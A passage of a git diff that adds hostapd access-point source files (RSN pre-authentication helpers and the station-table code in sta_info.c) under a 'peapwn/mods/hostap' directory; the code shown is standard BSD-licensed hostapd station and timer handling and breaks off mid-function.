while (piface) { + if (piface == sta->preauth_iface) + break; + piface = piface->next; + } + + if (piface == NULL) { + wpa_printf(MSG_DEBUG, "RSN: Could not find pre-authentication " + "interface for " MACSTR, MAC2STR(sta->addr)); + return; + } + + ethhdr = os_malloc(sizeof(*ethhdr) + len); + if (ethhdr == NULL) + return; + + os_memcpy(ethhdr->h_dest, sta->addr, ETH_ALEN); + os_memcpy(ethhdr->h_source, hapd->own_addr, ETH_ALEN); + ethhdr->h_proto = host_to_be16(ETH_P_PREAUTH); + os_memcpy(ethhdr + 1, buf, len); + + if (l2_packet_send(piface->l2, sta->addr, ETH_P_PREAUTH, (u8 *) ethhdr, + sizeof(*ethhdr) + len) < 0) { + wpa_printf(MSG_ERROR, "Failed to send preauth packet using " + "l2_packet_send\n"); + } + os_free(ethhdr); +} + + +void rsn_preauth_free_station(struct hostapd_data *hapd, struct sta_info *sta) +{ + eloop_cancel_timeout(rsn_preauth_finished_cb, hapd, sta); +} + +#endif /* CONFIG_RSN_PREAUTH */ diff --git a/peapwn/mods/hostap/src/ap/preauth_auth.h b/peapwn/mods/hostap/src/ap/preauth_auth.h new file mode 100644 index 000000000..69fb3566e --- /dev/null +++ b/peapwn/mods/hostap/src/ap/preauth_auth.h @@ -0,0 +1,52 @@ +/* + * hostapd - Authenticator for IEEE 802.11i RSN pre-authentication + * Copyright (c) 2004-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef PREAUTH_H +#define PREAUTH_H + +#ifdef CONFIG_RSN_PREAUTH + +int rsn_preauth_iface_init(struct hostapd_data *hapd); +void rsn_preauth_iface_deinit(struct hostapd_data *hapd); +void rsn_preauth_finished(struct hostapd_data *hapd, struct sta_info *sta, + int success); +void rsn_preauth_send(struct hostapd_data *hapd, struct sta_info *sta, + u8 *buf, size_t len); +void rsn_preauth_free_station(struct hostapd_data *hapd, struct sta_info *sta); + +#else /* CONFIG_RSN_PREAUTH */ + +static inline int rsn_preauth_iface_init(struct hostapd_data *hapd) +{ + return 0; +} + +static inline void rsn_preauth_iface_deinit(struct hostapd_data *hapd) +{ +} + +static inline void rsn_preauth_finished(struct hostapd_data *hapd, + struct sta_info *sta, + int success) +{ +} + +static inline void rsn_preauth_send(struct hostapd_data *hapd, + struct sta_info *sta, + u8 *buf, size_t len) +{ +} + +static inline void rsn_preauth_free_station(struct hostapd_data *hapd, + struct sta_info *sta) +{ +} + +#endif /* CONFIG_RSN_PREAUTH */ + +#endif /* PREAUTH_H */ diff --git a/peapwn/mods/hostap/src/ap/sta_info.c b/peapwn/mods/hostap/src/ap/sta_info.c new file mode 100644 index 000000000..474597edb --- /dev/null +++ b/peapwn/mods/hostap/src/ap/sta_info.c @@ -0,0 +1,1014 @@ +/* + * hostapd / Station table + * Copyright (c) 2002-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "utils/eloop.h" +#include "common/ieee802_11_defs.h" +#include "common/wpa_ctrl.h" +#include "common/sae.h" +#include "radius/radius.h" +#include "radius/radius_client.h" +#include "drivers/driver.h" +#include "p2p/p2p.h" +#include "hostapd.h" +#include "accounting.h" +#include "ieee802_1x.h" +#include "ieee802_11.h" +#include "ieee802_11_auth.h" +#include "wpa_auth.h" +#include "preauth_auth.h" +#include "ap_config.h" +#include "beacon.h" +#include "ap_mlme.h" +#include "vlan_init.h" +#include "p2p_hostapd.h" +#include "ap_drv_ops.h" +#include "gas_serv.h" +#include "sta_info.h" + +static void ap_sta_remove_in_other_bss(struct hostapd_data *hapd, + struct sta_info *sta); +static void ap_handle_session_timer(void *eloop_ctx, void *timeout_ctx); +static void ap_sta_deauth_cb_timeout(void *eloop_ctx, void *timeout_ctx); +static void ap_sta_disassoc_cb_timeout(void *eloop_ctx, void *timeout_ctx); +#ifdef CONFIG_IEEE80211W +static void ap_sa_query_timer(void *eloop_ctx, void *timeout_ctx); +#endif /* CONFIG_IEEE80211W */ +static int ap_sta_remove(struct hostapd_data *hapd, struct sta_info *sta); + +int ap_for_each_sta(struct hostapd_data *hapd, + int (*cb)(struct hostapd_data *hapd, struct sta_info *sta, + void *ctx), + void *ctx) +{ + struct sta_info *sta; + + for (sta = hapd->sta_list; sta; sta = sta->next) { + if (cb(hapd, sta, ctx)) + return 1; + } + + return 0; +} + + +struct sta_info * ap_get_sta(struct hostapd_data *hapd, const u8 *sta) +{ + struct sta_info *s; + + s = hapd->sta_hash[STA_HASH(sta)]; + while (s != NULL && os_memcmp(s->addr, sta, 6) != 0) + s = s->hnext; + return s; +} + + +#ifdef CONFIG_P2P +struct sta_info * ap_get_sta_p2p(struct hostapd_data *hapd, const u8 *addr) +{ + struct sta_info *sta; + + for (sta = hapd->sta_list; sta; sta = sta->next) { + const u8 *p2p_dev_addr; + + if (sta->p2p_ie == NULL) + continue; + + p2p_dev_addr = p2p_get_go_dev_addr(sta->p2p_ie); + if (p2p_dev_addr == NULL) + continue; + + if (os_memcmp(p2p_dev_addr, addr, ETH_ALEN) == 0) + return sta; + } + + return NULL; +} +#endif /* CONFIG_P2P */ + + +static void ap_sta_list_del(struct hostapd_data *hapd, struct sta_info *sta) +{ + struct sta_info *tmp; + + if (hapd->sta_list == sta) { + hapd->sta_list = sta->next; + return; + } + + tmp = hapd->sta_list; + while (tmp != NULL && tmp->next != sta) + tmp = tmp->next; + if (tmp == NULL) { + wpa_printf(MSG_DEBUG, "Could not remove STA " MACSTR " from " + "list.", MAC2STR(sta->addr)); + } else + tmp->next = sta->next; +} + + +void ap_sta_hash_add(struct hostapd_data *hapd, struct sta_info *sta) +{ + sta->hnext = hapd->sta_hash[STA_HASH(sta->addr)]; + hapd->sta_hash[STA_HASH(sta->addr)] = sta; +} + + +static void ap_sta_hash_del(struct hostapd_data *hapd, struct sta_info *sta) +{ + struct sta_info *s; + + s = hapd->sta_hash[STA_HASH(sta->addr)]; + if (s == NULL) return; + if (os_memcmp(s->addr, sta->addr, 6) == 0) { + hapd->sta_hash[STA_HASH(sta->addr)] = s->hnext; + return; + } + + while (s->hnext != NULL && + os_memcmp(s->hnext->addr, sta->addr, ETH_ALEN) != 0) + s = s->hnext; + if (s->hnext != NULL) + s->hnext = s->hnext->hnext; + else + wpa_printf(MSG_DEBUG, "AP: could not remove STA " MACSTR + " from hash table", MAC2STR(sta->addr)); +} + + +void ap_free_sta(struct hostapd_data *hapd, struct sta_info *sta) +{ + int set_beacon = 0; + + accounting_sta_stop(hapd, sta); + + /* just in case */ + ap_sta_set_authorized(hapd, sta, 0); + + if (sta->flags & WLAN_STA_WDS) + hostapd_set_wds_sta(hapd, NULL, sta->addr, sta->aid, 0); + + if (!(sta->flags & WLAN_STA_PREAUTH)) + hostapd_drv_sta_remove(hapd, sta->addr); + + ap_sta_hash_del(hapd, sta); + ap_sta_list_del(hapd, sta); + + if (sta->aid > 0) + hapd->sta_aid[(sta->aid - 1) / 32] &= + ~BIT((sta->aid - 1) % 32); + + hapd->num_sta--; + if (sta->nonerp_set) { + sta->nonerp_set = 0; + hapd->iface->num_sta_non_erp--; + if (hapd->iface->num_sta_non_erp == 0) + set_beacon++; + } + + if (sta->no_short_slot_time_set) { + sta->no_short_slot_time_set = 0; + hapd->iface->num_sta_no_short_slot_time--; + if (hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211G + && hapd->iface->num_sta_no_short_slot_time == 0) + set_beacon++; + } + + if (sta->no_short_preamble_set) { + sta->no_short_preamble_set = 0; + hapd->iface->num_sta_no_short_preamble--; + if (hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211G + && hapd->iface->num_sta_no_short_preamble == 0) + set_beacon++; + } + + if (sta->no_ht_gf_set) { + sta->no_ht_gf_set = 0; + hapd->iface->num_sta_ht_no_gf--; + } + + if (sta->no_ht_set) { + sta->no_ht_set = 0; + hapd->iface->num_sta_no_ht--; + } + + if (sta->ht_20mhz_set) { + sta->ht_20mhz_set = 0; + hapd->iface->num_sta_ht_20mhz--; + } + +#ifdef CONFIG_P2P + if (sta->no_p2p_set) { + sta->no_p2p_set = 0; + hapd->num_sta_no_p2p--; + if (hapd->num_sta_no_p2p == 0) + hostapd_p2p_non_p2p_sta_disconnected(hapd); + } +#endif /* CONFIG_P2P */ + +#if defined(NEED_AP_MLME) && defined(CONFIG_IEEE80211N) + if (hostapd_ht_operation_update(hapd->iface) > 0) + set_beacon++; +#endif /* NEED_AP_MLME && CONFIG_IEEE80211N */ + + if (set_beacon) + ieee802_11_set_beacons(hapd->iface); + + wpa_printf(MSG_DEBUG, "%s: cancel ap_handle_timer for " MACSTR, + __func__, MAC2STR(sta->addr)); + eloop_cancel_timeout(ap_handle_timer, hapd, sta); + eloop_cancel_timeout(ap_handle_session_timer, hapd, sta); + eloop_cancel_timeout(ap_sta_deauth_cb_timeout, hapd, sta); + eloop_cancel_timeout(ap_sta_disassoc_cb_timeout, hapd, sta); + + ieee802_1x_free_station(sta); + wpa_auth_sta_deinit(sta->wpa_sm); + rsn_preauth_free_station(hapd, sta); +#ifndef CONFIG_NO_RADIUS + if (hapd->radius) + radius_client_flush_auth(hapd->radius, sta->addr); +#endif /* CONFIG_NO_RADIUS */ + + os_free(sta->last_assoc_req); + os_free(sta->challenge); + +#ifdef CONFIG_IEEE80211W + os_free(sta->sa_query_trans_id); + eloop_cancel_timeout(ap_sa_query_timer, hapd, sta); +#endif /* CONFIG_IEEE80211W */ + +#ifdef CONFIG_P2P + p2p_group_notif_disassoc(hapd->p2p_group, sta->addr); +#endif /* CONFIG_P2P */ + +#ifdef CONFIG_INTERWORKING + if (sta->gas_dialog) { + int i; + for (i = 0; i < GAS_DIALOG_MAX; i++) + gas_serv_dialog_clear(&sta->gas_dialog[i]); + os_free(sta->gas_dialog); + } +#endif /* CONFIG_INTERWORKING */ + + wpabuf_free(sta->wps_ie); + wpabuf_free(sta->p2p_ie); + wpabuf_free(sta->hs20_ie); + + os_free(sta->ht_capabilities); + os_free(sta->vht_capabilities); + hostapd_free_psk_list(sta->psk); + os_free(sta->identity); + os_free(sta->radius_cui); + +#ifdef CONFIG_SAE + sae_clear_data(sta->sae); + os_free(sta->sae); +#endif /* CONFIG_SAE */ + + os_free(sta); +} + + +void hostapd_free_stas(struct hostapd_data *hapd) +{ + struct sta_info *sta, *prev; + + sta = hapd->sta_list; + + while (sta) { + prev = sta; + if (sta->flags & WLAN_STA_AUTH) { + mlme_deauthenticate_indication( + hapd, sta, WLAN_REASON_UNSPECIFIED); + } + sta = sta->next; + wpa_printf(MSG_DEBUG, "Removing station " MACSTR, + MAC2STR(prev->addr)); + ap_free_sta(hapd, prev); + } +} + + +/** + * ap_handle_timer - Per STA timer handler + * @eloop_ctx: struct hostapd_data * + * @timeout_ctx: struct sta_info * + * + * This function is called to check station activity and to remove inactive + * stations. + */ +void ap_handle_timer(void *eloop_ctx, void *timeout_ctx) +{ + struct hostapd_data *hapd = eloop_ctx; + struct sta_info *sta = timeout_ctx; + unsigned long next_time = 0; + int reason; + + wpa_printf(MSG_DEBUG, "%s: " MACSTR " flags=0x%x timeout_next=%d", + __func__, MAC2STR(sta->addr), sta->flags, + sta->timeout_next); + if (sta->timeout_next == STA_REMOVE) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, "deauthenticated due to " + "local deauth request"); + ap_free_sta(hapd, sta); + return; + } + + if ((sta->flags & WLAN_STA_ASSOC) && + (sta->timeout_next == STA_NULLFUNC || + sta->timeout_next == STA_DISASSOC)) { + int inactive_sec; + /* + * Add random value to timeout so that we don't end up bouncing + * all stations at the same time if we have lots of associated + * stations that are idle (but keep re-associating). + */ + int fuzz = os_random() % 20; + inactive_sec = hostapd_drv_get_inact_sec(hapd, sta->addr); + if (inactive_sec == -1) { + wpa_msg(hapd->msg_ctx, MSG_DEBUG, + "Check inactivity: Could not " + "get station info from kernel driver for " + MACSTR, MAC2STR(sta->addr)); + /* + * The driver may not support this functionality. + * Anyway, try again after the next inactivity timeout, + * but do not disconnect the station now. + */ + next_time = hapd->conf->ap_max_inactivity + fuzz; + } else if (inactive_sec < hapd->conf->ap_max_inactivity && + sta->flags & WLAN_STA_ASSOC) { + /* station activity detected; reset timeout state */ + wpa_msg(hapd->msg_ctx, MSG_DEBUG, + "Station " MACSTR " has been active %is ago", + MAC2STR(sta->addr), inactive_sec); + sta->timeout_next = STA_NULLFUNC; + next_time = hapd->conf->ap_max_inactivity + fuzz - + inactive_sec; + } else { + wpa_msg(hapd->msg_ctx, MSG_DEBUG, + "Station " MACSTR " has been " + "inactive too long: %d sec, max allowed: %d", + MAC2STR(sta->addr), inactive_sec, + hapd->conf->ap_max_inactivity); + + if (hapd->conf->skip_inactivity_poll) + sta->timeout_next = STA_DISASSOC; + } + } + + if ((sta->flags & WLAN_STA_ASSOC) && + sta->timeout_next == STA_DISASSOC && + !(sta->flags & WLAN_STA_PENDING_POLL) && + !hapd->conf->skip_inactivity_poll) { + wpa_msg(hapd->msg_ctx, MSG_DEBUG, "Station " MACSTR + " has ACKed data poll", MAC2STR(sta->addr)); + /* data nullfunc frame poll did not produce TX errors; assume + * station ACKed it */ + sta->timeout_next = STA_NULLFUNC; + next_time = hapd->conf->ap_max_inactivity; + } + + if (next_time) { + wpa_printf(MSG_DEBUG, "%s: register ap_handle_timer timeout " + "for " MACSTR " (%lu seconds)", + __func__, MAC2STR(sta->addr), next_time); + eloop_register_timeout(next_time, 0, ap_handle_timer, hapd, + sta); + return; + } + + if (sta->timeout_next == STA_NULLFUNC && + (sta->flags & WLAN_STA_ASSOC)) { + wpa_printf(MSG_DEBUG, " Polling STA"); + sta->flags |= WLAN_STA_PENDING_POLL; + hostapd_drv_poll_client(hapd, hapd->own_addr, sta->addr, + sta->flags & WLAN_STA_WMM); + } else if (sta->timeout_next != STA_REMOVE) { + int deauth = sta->timeout_next == STA_DEAUTH; + + wpa_dbg(hapd->msg_ctx, MSG_DEBUG, + "Timeout, sending %s info to STA " MACSTR, + deauth ? "deauthentication" : "disassociation", + MAC2STR(sta->addr)); + + if (deauth) { + hostapd_drv_sta_deauth( + hapd, sta->addr, + WLAN_REASON_PREV_AUTH_NOT_VALID); + } else { + reason = (sta->timeout_next == STA_DISASSOC) ? + WLAN_REASON_DISASSOC_DUE_TO_INACTIVITY : + WLAN_REASON_PREV_AUTH_NOT_VALID; + + hostapd_drv_sta_disassoc(hapd, sta->addr, reason); + } + } + + switch (sta->timeout_next) { + case STA_NULLFUNC: + sta->timeout_next = STA_DISASSOC; + wpa_printf(MSG_DEBUG, "%s: register ap_handle_timer timeout " + "for " MACSTR " (%d seconds - AP_DISASSOC_DELAY)", + __func__, MAC2STR(sta->addr), AP_DISASSOC_DELAY); + eloop_register_timeout(AP_DISASSOC_DELAY, 0, ap_handle_timer, + hapd, sta); + break; + case STA_DISASSOC: + case STA_DISASSOC_FROM_CLI: + ap_sta_set_authorized(hapd, sta, 0); + sta->flags &= ~WLAN_STA_ASSOC; + ieee802_1x_notify_port_enabled(sta->eapol_sm, 0); + if (!sta->acct_terminate_cause) + sta->acct_terminate_cause = + RADIUS_ACCT_TERMINATE_CAUSE_IDLE_TIMEOUT; + accounting_sta_stop(hapd, sta); + ieee802_1x_free_station(sta); + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, "disassociated due to " + "inactivity"); + reason = (sta->timeout_next == STA_DISASSOC) ? + WLAN_REASON_DISASSOC_DUE_TO_INACTIVITY : + WLAN_REASON_PREV_AUTH_NOT_VALID; + sta->timeout_next = STA_DEAUTH; + wpa_printf(MSG_DEBUG, "%s: register ap_handle_timer timeout " + "for " MACSTR " (%d seconds - AP_DEAUTH_DELAY)", + __func__, MAC2STR(sta->addr), AP_DEAUTH_DELAY); + eloop_register_timeout(AP_DEAUTH_DELAY, 0, ap_handle_timer, + hapd, sta); + mlme_disassociate_indication(hapd, sta, reason); + break; + case STA_DEAUTH: + case STA_REMOVE: + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, "deauthenticated due to " + "inactivity (timer DEAUTH/REMOVE)"); + if (!sta->acct_terminate_cause) + sta->acct_terminate_cause = + RADIUS_ACCT_TERMINATE_CAUSE_IDLE_TIMEOUT; + mlme_deauthenticate_indication( + hapd, sta, + WLAN_REASON_PREV_AUTH_NOT_VALID); + ap_free_sta(hapd, sta); + break; + } +} + + +static void ap_handle_session_timer(void *eloop_ctx, void *timeout_ctx) +{ + struct hostapd_data *hapd = eloop_ctx; + struct sta_info *sta = timeout_ctx; + u8 addr[ETH_ALEN]; + + if (!(sta->flags & WLAN_STA_AUTH)) { + if (sta->flags & WLAN_STA_GAS) { + wpa_printf(MSG_DEBUG, "GAS: Remove temporary STA " + "entry " MACSTR, MAC2STR(sta->addr)); + ap_free_sta(hapd, sta); + } + return; + } + + mlme_deauthenticate_indication(hapd, sta, + WLAN_REASON_PREV_AUTH_NOT_VALID); + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, "deauthenticated due to " + "session timeout"); + sta->acct_terminate_cause = + RADIUS_ACCT_TERMINATE_CAUSE_SESSION_TIMEOUT; + os_memcpy(addr, sta->addr, ETH_ALEN); + ap_free_sta(hapd, sta); + hostapd_drv_sta_deauth(hapd, addr, WLAN_REASON_PREV_AUTH_NOT_VALID); +} + + +void ap_sta_replenish_timeout(struct hostapd_data *hapd, struct sta_info *sta, + u32 session_timeout) +{ + if (eloop_replenish_timeout(session_timeout, 0, + ap_handle_session_timer, hapd, sta)) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, "setting session timeout " + "to %d seconds", session_timeout); + } +} + + +void ap_sta_session_timeout(struct hostapd_data *hapd, struct sta_info *sta, + u32 session_timeout) +{ + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, "setting session timeout to %d " + "seconds", session_timeout); + eloop_cancel_timeout(ap_handle_session_timer, hapd, sta); + eloop_register_timeout(session_timeout, 0, ap_handle_session_timer, + hapd, sta); +} + + +void ap_sta_no_session_timeout(struct hostapd_data *hapd, struct sta_info *sta) +{ + eloop_cancel_timeout(ap_handle_session_timer, hapd, sta); +} + + +struct sta_info * ap_sta_add(struct hostapd_data *hapd, const u8 *addr) +{ + struct sta_info *sta; + + sta = ap_get_sta(hapd, addr); + if (sta) + return sta; + + wpa_printf(MSG_DEBUG, " New STA"); + if (hapd->num_sta >= hapd->conf->max_num_sta) { + /* FIX: might try to remove some old STAs first? */ + wpa_printf(MSG_DEBUG, "no more room for new STAs (%d/%d)", + hapd->num_sta, hapd->conf->max_num_sta); + return NULL; + } + + sta = os_zalloc(sizeof(struct sta_info)); + if (sta == NULL) { + wpa_printf(MSG_ERROR, "malloc failed"); + return NULL; + } + sta->acct_interim_interval = hapd->conf->acct_interim_interval; + accounting_sta_get_id(hapd, sta); + + if (!(hapd->iface->drv_flags & WPA_DRIVER_FLAGS_INACTIVITY_TIMER)) { + wpa_printf(MSG_DEBUG, "%s: register ap_handle_timer timeout " + "for " MACSTR " (%d seconds - ap_max_inactivity)", + __func__, MAC2STR(addr), + hapd->conf->ap_max_inactivity); + eloop_register_timeout(hapd->conf->ap_max_inactivity, 0, + ap_handle_timer, hapd, sta); + } + + /* initialize STA info data */ + os_memcpy(sta->addr, addr, ETH_ALEN); + sta->next = hapd->sta_list; + hapd->sta_list = sta; + hapd->num_sta++; + ap_sta_hash_add(hapd, sta); + sta->ssid = &hapd->conf->ssid; + ap_sta_remove_in_other_bss(hapd, sta); + + return sta; +} + + +static int ap_sta_remove(struct hostapd_data *hapd, struct sta_info *sta) +{ + ieee802_1x_notify_port_enabled(sta->eapol_sm, 0); + + wpa_printf(MSG_DEBUG, "Removing STA " MACSTR " from kernel driver", + MAC2STR(sta->addr)); + if (hostapd_drv_sta_remove(hapd, sta->addr) && + sta->flags & WLAN_STA_ASSOC) { + wpa_printf(MSG_DEBUG, "Could not remove station " MACSTR + " from kernel driver.", MAC2STR(sta->addr)); + return -1; + } + return 0; +} + + +static void ap_sta_remove_in_other_bss(struct hostapd_data *hapd, + struct sta_info *sta) +{ + struct hostapd_iface *iface = hapd->iface; + size_t i; + + for (i = 0; i < iface->num_bss; i++) { + struct hostapd_data *bss = iface->bss[i]; + struct sta_info *sta2; + /* bss should always be set during operation, but it may be + * NULL during reconfiguration. Assume the STA is not + * associated to another BSS in that case to avoid NULL pointer + * dereferences. */ + if (bss == hapd || bss == NULL) + continue; + sta2 = ap_get_sta(bss, sta->addr); + if (!sta2) + continue; + + ap_sta_disconnect(bss, sta2, sta2->addr, + WLAN_REASON_PREV_AUTH_NOT_VALID); + } +} + + +static void ap_sta_disassoc_cb_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct hostapd_data *hapd = eloop_ctx; + struct sta_info *sta = timeout_ctx; + + ap_sta_remove(hapd, sta); + mlme_disassociate_indication(hapd, sta, sta->disassoc_reason); +} + + +void ap_sta_disassociate(struct hostapd_data *hapd, struct sta_info *sta, + u16 reason) +{ + wpa_printf(MSG_DEBUG, "%s: disassociate STA " MACSTR, + hapd->conf->iface, MAC2STR(sta->addr)); + sta->flags &= ~(WLAN_STA_ASSOC | WLAN_STA_ASSOC_REQ_OK); + ap_sta_set_authorized(hapd, sta, 0); + sta->timeout_next = STA_DEAUTH; + wpa_printf(MSG_DEBUG, "%s: reschedule ap_handle_timer timeout " + "for " MACSTR " (%d seconds - " + "AP_MAX_INACTIVITY_AFTER_DISASSOC)", + __func__, MAC2STR(sta->addr), + AP_MAX_INACTIVITY_AFTER_DISASSOC); + eloop_cancel_timeout(ap_handle_timer, hapd, sta); + eloop_register_timeout(AP_MAX_INACTIVITY_AFTER_DISASSOC, 0, + ap_handle_timer, hapd, sta); + accounting_sta_stop(hapd, sta); + ieee802_1x_free_station(sta); + + sta->disassoc_reason = reason; + sta->flags |= WLAN_STA_PENDING_DISASSOC_CB; + eloop_cancel_timeout(ap_sta_disassoc_cb_timeout, hapd, sta); + eloop_register_timeout(hapd->iface->drv_flags & + WPA_DRIVER_FLAGS_DEAUTH_TX_STATUS ? 2 : 0, 0, + ap_sta_disassoc_cb_timeout, hapd, sta); +} + + +static void ap_sta_deauth_cb_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct hostapd_data *hapd = eloop_ctx; + struct sta_info *sta = timeout_ctx; + + ap_sta_remove(hapd, sta); + mlme_deauthenticate_indication(hapd, sta, sta->deauth_reason); +} + + +void ap_sta_deauthenticate(struct hostapd_data *hapd, struct sta_info *sta, + u16 reason) +{ + wpa_printf(MSG_DEBUG, "%s: deauthenticate STA " MACSTR, + hapd->conf->iface, MAC2STR(sta->addr)); + sta->flags &= ~(WLAN_STA_AUTH | WLAN_STA_ASSOC); + ap_sta_set_authorized(hapd, sta, 0); + sta->timeout_next = STA_REMOVE; + wpa_printf(MSG_DEBUG, "%s: reschedule ap_handle_timer timeout " + "for " MACSTR " (%d seconds - " + "AP_MAX_INACTIVITY_AFTER_DEAUTH)", + __func__, MAC2STR(sta->addr), + AP_MAX_INACTIVITY_AFTER_DEAUTH); + eloop_cancel_timeout(ap_handle_timer, hapd, sta); + eloop_register_timeout(AP_MAX_INACTIVITY_AFTER_DEAUTH, 0, + ap_handle_timer, hapd, sta); + accounting_sta_stop(hapd, sta); + ieee802_1x_free_station(sta); + + sta->deauth_reason = reason; + sta->flags |= WLAN_STA_PENDING_DEAUTH_CB; + eloop_cancel_timeout(ap_sta_deauth_cb_timeout, hapd, sta); + eloop_register_timeout(hapd->iface->drv_flags & + WPA_DRIVER_FLAGS_DEAUTH_TX_STATUS ? 2 : 0, 0, + ap_sta_deauth_cb_timeout, hapd, sta); +} + + +#ifdef CONFIG_WPS +int ap_sta_wps_cancel(struct hostapd_data *hapd, + struct sta_info *sta, void *ctx) +{ + if (sta && (sta->flags & WLAN_STA_WPS)) { + ap_sta_deauthenticate(hapd, sta, + WLAN_REASON_PREV_AUTH_NOT_VALID); + wpa_printf(MSG_DEBUG, "WPS: %s: Deauth sta=" MACSTR, + __func__, MAC2STR(sta->addr)); + return 1; + } + + return 0; +} +#endif /* CONFIG_WPS */ + + +int ap_sta_bind_vlan(struct hostapd_data *hapd, struct sta_info *sta, + int old_vlanid) +{ +#ifndef CONFIG_NO_VLAN + const char *iface; + struct hostapd_vlan *vlan = NULL; + int ret; + + /* + * Do not proceed furthur if the vlan id remains same. We do not want + * duplicate dynamic vlan entries. + */ + if (sta->vlan_id == old_vlanid) + return 0; + + /* + * During 1x reauth, if the vlan id changes, then remove the old id and + * proceed furthur to add the new one. + */ + if (old_vlanid > 0) + vlan_remove_dynamic(hapd, old_vlanid); + + iface = hapd->conf->iface; + if (sta->ssid->vlan[0]) + iface = sta->ssid->vlan; + + if (sta->ssid->dynamic_vlan == DYNAMIC_VLAN_DISABLED) + sta->vlan_id = 0; + else if (sta->vlan_id > 0) { + struct hostapd_vlan *wildcard_vlan = NULL; + vlan = hapd->conf->vlan; + while (vlan) { + if (vlan->vlan_id == sta->vlan_id) + break; + if (vlan->vlan_id == VLAN_ID_WILDCARD) + wildcard_vlan = vlan; + vlan = vlan->next; + } + if (!vlan) + vlan = wildcard_vlan; + if (vlan) + iface = vlan->ifname; + } + + if (sta->vlan_id > 0 && vlan == NULL) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, "could not find VLAN for " + "binding station to (vlan_id=%d)", + sta->vlan_id); + return -1; + } else if (sta->vlan_id > 0 && vlan->vlan_id == VLAN_ID_WILDCARD) { + vlan = vlan_add_dynamic(hapd, vlan, sta->vlan_id); + if (vlan == NULL) { + hostapd_logger(hapd, sta->addr, + HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, "could not add " + "dynamic VLAN interface for vlan_id=%d", + sta->vlan_id); + return -1; + } + + iface = vlan->ifname; + if (vlan_setup_encryption_dyn(hapd, sta->ssid, iface) != 0) { + hostapd_logger(hapd, sta->addr, + HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, "could not " + "configure encryption for dynamic VLAN " + "interface for vlan_id=%d", + sta->vlan_id); + } + + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, "added new dynamic VLAN " + "interface '%s'", iface); + } else if (vlan && vlan->vlan_id == sta->vlan_id) { + if (sta->vlan_id > 0) { + vlan->dynamic_vlan++; + hostapd_logger(hapd, sta->addr, + HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, "updated existing " + "dynamic VLAN interface '%s'", iface); + } + + /* + * Update encryption configuration for statically generated + * VLAN interface. This is only used for static WEP + * configuration for the case where hostapd did not yet know + * which keys are to be used when the interface was added. + */ + if (vlan_setup_encryption_dyn(hapd, sta->ssid, iface) != 0) { + hostapd_logger(hapd, sta->addr, + HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, "could not " + "configure encryption for VLAN " + "interface for vlan_id=%d", + sta->vlan_id); + } + } + + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, "binding station to interface " + "'%s'", iface); + + if (wpa_auth_sta_set_vlan(sta->wpa_sm, sta->vlan_id) < 0) + wpa_printf(MSG_INFO, "Failed to update VLAN-ID for WPA"); + + ret = hostapd_drv_set_sta_vlan(iface, hapd, sta->addr, sta->vlan_id); + if (ret < 0) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, "could not bind the STA " + "entry to vlan_id=%d", sta->vlan_id); + } + return ret; +#else /* CONFIG_NO_VLAN */ + return 0; +#endif /* CONFIG_NO_VLAN */ +} + + +#ifdef CONFIG_IEEE80211W + +int ap_check_sa_query_timeout(struct hostapd_data *hapd, struct sta_info *sta) +{ + u32 tu; + struct os_time now, passed; + os_get_time(&now); + os_time_sub(&now, &sta->sa_query_start, &passed); + tu = (passed.sec * 1000000 + passed.usec) / 1024; + if (hapd->conf->assoc_sa_query_max_timeout < tu) { + hostapd_logger(hapd, sta->addr, + HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "association SA Query timed out"); + sta->sa_query_timed_out = 1; + os_free(sta->sa_query_trans_id); + sta->sa_query_trans_id = NULL; + sta->sa_query_count = 0; + eloop_cancel_timeout(ap_sa_query_timer, hapd, sta); + return 1; + } + + return 0; +} + + +static void ap_sa_query_timer(void *eloop_ctx, void *timeout_ctx) +{ + struct hostapd_data *hapd = eloop_ctx; + struct sta_info *sta = timeout_ctx; + unsigned int timeout, sec, usec; + u8 *trans_id, *nbuf; + + if (sta->sa_query_count > 0 && + ap_check_sa_query_timeout(hapd, sta)) + return; + + nbuf = os_realloc_array(sta->sa_query_trans_id, + sta->sa_query_count + 1, + WLAN_SA_QUERY_TR_ID_LEN); + if (nbuf == NULL) + return; + if (sta->sa_query_count == 0) { + /* Starting a new SA Query procedure */ + os_get_time(&sta->sa_query_start); + } + trans_id = nbuf + sta->sa_query_count * WLAN_SA_QUERY_TR_ID_LEN; + sta->sa_query_trans_id = nbuf; + sta->sa_query_count++; + + os_get_random(trans_id, WLAN_SA_QUERY_TR_ID_LEN); + + timeout = hapd->conf->assoc_sa_query_retry_timeout; + sec = ((timeout / 1000) * 1024) / 1000; + usec = (timeout % 1000) * 1024; + eloop_register_timeout(sec, usec, 